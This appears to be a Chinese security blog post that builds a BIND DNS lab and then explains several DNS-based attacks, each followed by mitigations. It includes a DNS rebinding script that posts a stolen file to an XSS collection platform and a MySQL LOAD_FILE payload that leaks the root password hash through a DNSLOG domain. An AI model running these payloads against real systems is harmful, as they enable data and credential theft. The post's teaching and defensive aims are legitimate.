域名名称系统杂谈#3

DNS 主从服务搭建

互联网上有许多资料可以参考，这里就不重复造轮子了，搭配 keepalived 可实现高可用的主从 DNS 服务。

[root@dns1 ~]# hostnamectl 
   Static hostname: dns1
         Icon name: computer-vm
           Chassis: vm
        Machine ID: d8cfdeb18e36481c98a0792188ff65ad
           Boot ID: ede2daeef7b14a579aa3c6b678816708
    Virtualization: vmware
  Operating System: CentOS Linux 7 (Core)
       CPE OS Name: cpe:/o:centos:centos:7
            Kernel: Linux 3.10.0-693.el7.x86_64
      Architecture: x86-64
[root@dns1 ~]# firewall-cmd --list-port
FirewallD is not running

[root@dns1 ~]# yum -y install bind
[root@dns1 ~]# rpm -qa | grep bind
bind-9.9.4-61.el7.x86_64     // 此次是基于 bind9 的安装
bind-libs-lite-9.9.4-61.el7.x86_64
bind-libs-9.9.4-61.el7.x86_64
bind-chroot-9.9.4-61.el7.x86_64
bind-utils-9.9.4-61.el7.x86_64
bind-license-9.9.4-61.el7.noarch
bind-devel-9.9.4-61.el7.x86_64

[root@dns1 ~]# vi /etc/named.conf   // 展示小部分配置信息
options {
        listen-on port 53 { 192.168.84.184; };
        directory       "/var/named";
        dump-file       "/var/named/data/cache_dump.db";
        statistics-file "/var/named/data/named_stats.txt";
        memstatistics-file "/var/named/data/named_mem_stats.txt";
        allow-query     { 0.0.0.0/0; };    // 这里没有限制其他主机向 “我” 进行 DNS 查询
        
zone "h0u5er-dns.com" IN {
        type master;
        file "/var/named/h0u5er-dns.com.zone";
        allow-transfer {any;};   // 这里就是域传送漏洞根本原因
        allow-update { none; };
};

[root@dns1 ~]# cat /var/named/h0u5er-dns.com.zone 
$ORIGIN h0u5er-dns.com.
$TTL 86400
@       IN      SOA     ns1.h0u5er-dns.com. hostmaster.h0u5er-dns.com. (
                              2018060801
                              10800
                              3600
                              604800
                              86400
                             )
;
;
        IN      NS              ns1.h0u5er-dns.com.
        IN      NS              ns2.h0u5er-dns.com.
        IN      MX      10      mail.h0u5er-dns.com.
;
;
ns1             IN      A       192.168.84.184
ns2             IN      A       192.168.84.185
www             IN      A       192.168.84.184
ftp             IN      CNAME   www.h0u5er-dns.com.

基于 DNS 域传送漏洞

在 2016 年的乌云网，@404notfound 和 @hellokuku 两个白帽子提交了包括中国工信部、美国财务部在内的多个域传送漏洞，漏洞成因主要是运维人员的配置不当，导致敏感信息泄露。2018 年的今天，还会有粗心的管理员吗？

[root@dns2 ~]# hostnamectl 
   Static hostname: dns2
         Icon name: computer-vm
           Chassis: vm
        Machine ID: 150d42408fb14ece8fa84bcee1e40b1f
           Boot ID: 2077a008ad4c4724adb7d1600b4cf032
    Virtualization: vmware
  Operating System: CentOS Linux 7 (Core)
       CPE OS Name: cpe:/o:centos:centos:7
            Kernel: Linux 3.10.0-693.el7.x86_64
      Architecture: x86-64
  
[root@dns2 ~]# dig axfr h0u5er-dns.com @192.168.84.184

; <<>> DiG 9.9.4-RedHat-9.9.4-61.el7 <<>> axfr h0u5er-dns.com @192.168.84.184
;; global options: +cmd
h0u5er-dns.com.		86400	IN	SOA	ns1.h0u5er-dns.com. hostmaster.h0u5er-dns.com. 2018060801 10800 3600 604800 86400
h0u5er-dns.com.		86400	IN	NS	ns1.h0u5er-dns.com.
h0u5er-dns.com.		86400	IN	NS	ns2.h0u5er-dns.com.
h0u5er-dns.com.		86400	IN	MX	10 mail.h0u5er-dns.com.
ftp.h0u5er-dns.com.	86400	IN	CNAME	www.h0u5er-dns.com.
ns1.h0u5er-dns.com.	86400	IN	A	192.168.84.184
ns2.h0u5er-dns.com.	86400	IN	A	192.168.84.185
www.h0u5er-dns.com.	86400	IN	A	192.168.84.184
h0u5er-dns.com.		86400	IN	SOA	ns1.h0u5er-dns.com. hostmaster.h0u5er-dns.com. 2018060801 10800 3600 604800 86400
;; Query time: 0 msec
;; SERVER: 192.168.84.184#53(192.168.84.184)
;; WHEN: Thu Jun 28 02:34:12 EDT 2018
;; XFR size: 9 records (messages 1, bytes 242)

解决办法：限制 allow-query 和 allow-transfer 的范围，亲测如果仅仅修改了 allow-query 允许本机查询，但 allow-transfer 访问依然为 any 的话，域传送漏洞依然存在。如果还启用了 rndc 远程连接服务的话，建议限制监听范围或者禁用。

[root@dns2 ~]# dig h0u5er-dns.com @192.168.84.184   // 此时已经把 0.0.0.0/0 替换为 192.168.84.184

; <<>> DiG 9.9.4-RedHat-9.9.4-61.el7 <<>> h0u5er-dns.com @192.168.84.184
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: REFUSED, id: 43631
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;h0u5er-dns.com.			IN	A

;; Query time: 1 msec
;; SERVER: 192.168.84.184#53(192.168.84.184)
;; WHEN: Thu Jun 28 02:50:48 EDT 2018
;; MSG SIZE  rcvd: 43

[root@dns2 ~]# dig axfr h0u5er-dns.com @192.168.84.184   // 此时已经把 any 替换为 192.168.84.184

; <<>> DiG 9.9.4-RedHat-9.9.4-61.el7 <<>> axfr h0u5er-dns.com @192.168.84.184
;; global options: +cmd
; Transfer failed.

基于 DNS 的劫持攻击

经典 Ettercap 工具中的 MITM-ARP poisoning 和 DNS spoof 功能即可完成，操作请参考互联网。

[root@dns1 ~]# yum -y install nginx   // 简单部署 nginx 并监听本地 80 端口

root@kali:~# cat /etc/ettercap/etter.dns | grep 84.128   // kali 启用 apache 和 ettercap
*.h0u5er-dns.com	A	192.168.84.128

解决办法：SSL + HTST + 可信的 DNS 服务提供商。

基于 DNS 的缓存投毒

无论是普通的 DNS 缓存投毒还是著名的 Kaminsky 缓存投毒，问题都是指向权威 DNS 服务器（亦称本地 DNS 服务器）普通的 DNS 是基于 UDP 传输，在查询和应答的过程中并不检查数据包的合法性，仅仅比对数据包的源 IP 地址、端口和随机查询 ID 信息是否一致，如果匹配就接受此应答数据包并且将后续到达的其他应答数据包一律丢弃。
普通的 DNS 缓存投毒实际上就是 UDP 会话劫持。攻击者可以构造应答数据包，其中包括 www.example.com 的伪造 A 记录 IP 地址、权威 DNS 的来源 IP 地址、端口和随机查询 ID 信息，需要保证这个伪造的应答数据包在权威 DNS 应答数据包之前被缓存 DNS 服务器记录并转发，那么劫持就完成了。基于 DNS 递归查询和缓存生产时间（ TTL ）的原理，如果劫持成功，用户在一定时间范围内访问 www.example.com 都会被指向到伪造的 A 记录 IP 地址。如果劫持失败，有可能是因为www.example.com 指向的正确 A 记录被缓存 DNS 记录，此时用户无需迭代查询，导致无法完成 UDP 会话劫持，攻击者则需要等待 TTL 过期，由此 Kaminsky 缓存投毒改进了这种低成功率的攻击方式。
Kaminsky 缓存投毒一个非常大的优势是节约攻击所需时间，思路很新奇。假设需要劫持已经有正确 A 记录的网站，普通 DND 缓存投毒的时间浪费在等待 TTL 到期，那么 Kaminsky 缓存投毒的第一步就是向 DNS 缓存服务器发送一个不存在的域名解析请求，如 not-exist.example.com，缓存 DNS 服务器收到请求之后务必会发起迭代查询。正常情况下，example.com 的权威服务器会返回 NXDOMIAN 表示域名不存在，那么攻击者此时可以伪造数据包：包括 example.com 权威服务器的 IP 、端口号和 NXDOMIAN 应答结果，不同的数据是授权资源记录会被改为 ns-evil.example.com 并且 SOA 的 A 记录会指向一个特定的恶意 IP，同样的数据包需要在权威 DNS 应答数据包之前被缓存 DNS 服务器记录并转发。如果劫持成功，那么用户在特定时间所有查询 *.example.com 的记录都会被转发到这个恶意 IP 。发起攻击的时候，攻击者每一次的查询都在目标域名上添加随机序列号，如果不出成功，只需要快速并且不断的修改随机序列号即可。因此 Kaminsky 缓存投毒的成功率和攻击效果都比普通 DNS 缓存投毒要高许多。

解决办法： DNSSEC 、IPv6、随机 UDP 端口池、一主多备的权威 DNS。

基于 DNS 反射的 DDOS 攻击

DNS 和 NTP 都是纯天然的流量放大器，通过极小的请求返回很大的回应数据包。在做资料搜寻的时候，有人讨论关于 DNS 反射攻击和 DNS 放大攻击的定义问题，显然 DNS 放大攻击是众多反射攻击的一种，比如 Memcached DDoS Attack 也是属于反射攻击。什么是 DDOS 攻击、什么是 DNS 洪水攻击、什么是 DNS 反射 DDOS 攻击，上述问题都在 cloudflare.com 有系统且专业的回答，本文不再赘述。
DNS域名服务器的开放递归服务和源 IP 地址伪造技术是成功实施分布式DNS反射DDoS攻击的必要条件。假设攻击者的 IP 是 5.6.7.8，受害者的 IP 是 2.2.2.2。攻击者只要不断的对 DNS 服务器宣称自己伪造的 IP 是 2.2.2.2 并且需要查询 example.com 的 A 记录信息。当 DNS 服务收到请求之后，便会把 A 记录发往 IP 为 2.2.2.2 的主机。由于 DNS 通信一般是使用 UDP 数据包传输，攻击者能轻易的做到不断执行伪造的 DNS 查询，那么受害者就会不断收到来自 DNS 服务器的应答。
利用上一篇讲到的EDNS0 拓展协议，可以使得单个应答数据包增大至 3000 字节以上。同时如果攻击者发起的是 ANY 类型的 DNS 查询的话，那么这个解析请求必须发送到对应的权威 DNS 服务器上，并且响应数据包中会包括所有的可用记录，如果这一台权威 DNS 服务器是攻击者可控的，那么攻击者可以通过添加大量杂乱 TXT 类型记录的方式来继续增大应答数据包的大小。综上所述，不断的伪造请求并且最大化应答数据包的大小，这就是 DNS 反射 DDOS 的基本思路。

An ANY query is a type of DNS query that retrieves all records available for a domain name. The ANY query must be sent to a name server that is authoritative for a domain.

解决办法：

中国奠信，世界加钱可及；
DNS 服务器不响应来自互联网的查询；
限制 DNS 响应数据包大小；

DNS 的重绑定攻击

Most notably, Blizzard’s video games, the Transmission torrent client, and several Ethereum cryptocurrency wallets were vulnerable to DNS rebinding attacks until recently.

DNS 重绑定攻击 ( DNS Rebinding Attacks ) 是红队常见用于绕过同源策略 ( Same-origin Policy,SOP ) 和绕过防火墙策略的有效手段之一，并且 DNSSEC 对此也无能为力。
同源策略最大的作用就是帮助我们区分来自不同域名的 cookies ，并且将资源存放到对应的域名文件夹下。即便是称作浏览器安全基石的同源策略，依然无法抵御利用 img, script, link, iframe 的属性进行挂马的行为。关于 SOP 的内容在互联网已经很多，本文不再赘述。另外，内容安全策略 ( Content Security Policy,CSP ) 也是可以了解一下。

攻击者购买并且使用 domain.com 域名，配置 DNS 记录指向 1.2.3.4，设置 TTL 值为 59 秒；
诱惑受害者打开 foo.domain.com 页面，并且在浏览器执行预先设置的脚本，部分如下：

<script src=http://*********/static/jquery.min.js ></script>
<script>

setTimeout("POST()",59000)     // 设置延时 59 秒后执行 function

function POST(){
    alert();
    $.ajax({
    url:"http:/foo.domain.com/secret.txt",    
    type:"GET",
    success: function(data){
        $.post("http://你的xss平台",{'a':data})}
        }
    );
}

</script>

可以利用视频、图片等方式使用户在该浏览器页面逗留超过 59 秒，期间攻击者修改 DNS 记录指向为 127.0.0.1；
59 秒过后，由于上一条 DNS 缓存记录已经过期，浏览器开始执行脚本就需要再次进行 DNS 解析。得到 DNS 的回应 foo.domain.com 记录为 127.0.0.1，于是请求 http:/127.0.0.1/secret.txt；
至此，浏览器不认为响应返回的 IP 不同是跨域行为，所以成功绕过同源策略。

基于这个攻击原理，Kali Linux 提供了对应的工具 Rebind。该工具可以实现对用户所在网络路由器进行攻击。当用户访问 Rebind 监听域名，Rebind 会自动实施 DNS Rebinding 攻击，通过用户的浏览器执行 js 脚本，建立socket 连接。这样，Rebind 可以像局域网内部用户一样，访问路由器，从而控制路由器。另外攻击者需要考虑 DNS 服务器 TTL 值设置问题，因为国内许多 DNS 服务提供商并不会严格按照标准来处理缓存，阿里云的 TTL 是必须大于 10 的，而 8.8.8.8 是支持 TTL 等于 0 的情况，即不对 DNS 进行缓存。http://ceye.io 提供 DNS 重绑定的测试平台。

解决办法：

并非万能的 DNS pinning

攻击者可以先加载 “ 隐藏” 的 img，指向不存在服务的 evil.com:1024 ，导致浏览器缓存和 DNS pinning 机制失效，此时浏览器会再次起解析，那么攻击者可以继续完成 DNS 重绑定攻击。

使用 dnswall 过滤来自外部响应的私有 IP 地址
检查主机的 header 信息
屏蔽浏览器对特定端口的访问
Chrome://net-internals/#dns
ipconfig /displaydns

基于 DNSLOG 的 SQL 盲注攻击

当攻击者执行了 SQL 语句但是无法在前端回显数据的情况下，我们称之为 SQL 盲注，主要包括：基于布尔 SQL 盲注、基于时间的 SQL 盲注、基于报错的 SQL 盲注和涉及 DNSLOG 的 SQL 盲注。顾名思义，我们希望通过 DNSLOG 来得到执行之后的回显，DNSLOG 盲注最大的特点就是比前面的几种注入效率更高、时间更短。在 sqlmap 跑不动或者 IP 已经被防火墙拉黑的时候，DNSLOG 查询提供一个新思路，它还适用于 Linux 和 Windows 环境下的查询，Linux 还支持带系统自定义变量语句。下面是对 Mysql 数据库执行 DNSLOG 盲注的流程：
上面的流程我们用到了 load_file 函数，该函数在 Mysql 中负责读取文件并且以字符串的形式返回内容。http://ceye.io 测试平台友好的提供了不同数据库环境的 Playload。在使用 load_file 函数之前，需要保证：

具备 file_priv 权限；
具备 web 目录读取权限；
具备文件的绝对路径；
文件内容需要小于 max_allowed_packet 的值；

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.0tx55d.ceye.io\\abc'));

password 可替换攻击者需要执行的 SQL 查询语句；tx55d
.mysql.ip.port.0tx55d.ceye.io 可替换为其他 dnslog 的查询平台
abc  可替换任意字符串

根据 OWASP Top 10 Application Security Risks - 2017 报告指出，注入攻击依然是工程师需要关注的安全问题。注入攻击大部分是利用忽略检查或函数调用漏洞，将恶意指令或参数传递给设备执行的一种攻击手法，有部分人认为SQL注入攻击是只针对 Microsoft SQL Server 而来，但只要是支持批处理 SQL 指令的数据库服务器，都有可能受到此种手法的攻击。抵御 SQL 注入攻击是一门大学问，但是最起码的措施包括：

良好的架构设计
有责任心的开发和运维
过滤请求和参数
替换和拦截危险字符
@知乎讨论

基于 DNS 通信的 C&C 服务器

我刚刚开始接触信安领域的时候，是由葛军的灰鸽子领进门，现在的 C&C 服务器就有点类似于灰鸽子的控制端，Command and Control Server，简称 C&C 服务器，也有人称 C2 服务器。
灰鸽子的工作原理和红队利用本地权限漏洞提权很类似，在受害者的设备执行 exp 或者恶意 exe 成功提权后，让受害者的设备通过网络 IP 地址主动连接到攻击者特定的网络端口 ( 肉鸡上线 )，攻击者在自己的计算机上就可以通过指令来控制受害人的设备，攻击者自己本身的计算机就是一台 C&C 服务器。这里面临两个很尴尬的问题，肉鸡上线需要攻击者的 IP 是公网 IP 地址，否则受害者的设备无法连接到一个内网地址的指定端口。其次自身的计算机直接作为 C&C 服务器容易被查水表。
有两种办法解决上述问题，内网映射和增加跳板机。内网映射( 也称内网穿透 ) 会给自己带来更大的风险，因此更多人采用后者解决问题，而且只需要拥有公网 IP 的机器都可以充当作跳板机，常见跳板机都是已经被攻击者长期控制的肉鸡或者在黑市购得的服务器充当，由于跳板机的数量可以无限的多，也保证了攻击者的匿名性。为了保障肉鸡能长期被攻击者所控制，攻击者们需要把肉鸡上线步骤中的 IP 地址变成通过域名上线，因为攻击者对域名解析的控制权是比 IP 地址的控制权跟稳定一些，这样就可以保持攻击者与受害者的联系枢纽不被破坏。
DNS 的作用不仅仅与此，攻击者可以通过 DNS 隧道技术避开防火墙对端口的限制，从而将特定的命令讯息发送给受害者执行，如 DDOS 攻击的发起时间、上传敏感数据、执行勒索软件等。通过域名上线同样具有缺点，那就是域名在流量分析记录中总会以为相同字符串的形式出现，难免会让安全人员起疑并直接封锁域名，导致域名无法解析，进而攻击者无法继续控制肉鸡设备，这是目前针对 C&C 服务器最有效的办法，但也不妨碍攻击者继续通过域名生成算法 ( DGL ) 或者 Domain Fronting 等方式降低域名被识别和封锁的可能性。

总而言之，工程师们想精确识别并封锁网络中 C&C 服务器通信，那必须做好折腾的准备，如基于机器学习的 C&C 服务器识别和数据泄漏保护 ( Data Leakage Prevention,DLP ) 都是不错的手段，毕竟攻防抗衡就是一门斗智斗勇的艺术。有空的话下一篇文章再聊一聊 Cobalt Strike 大杀器， C&C 黑名单？不存在的。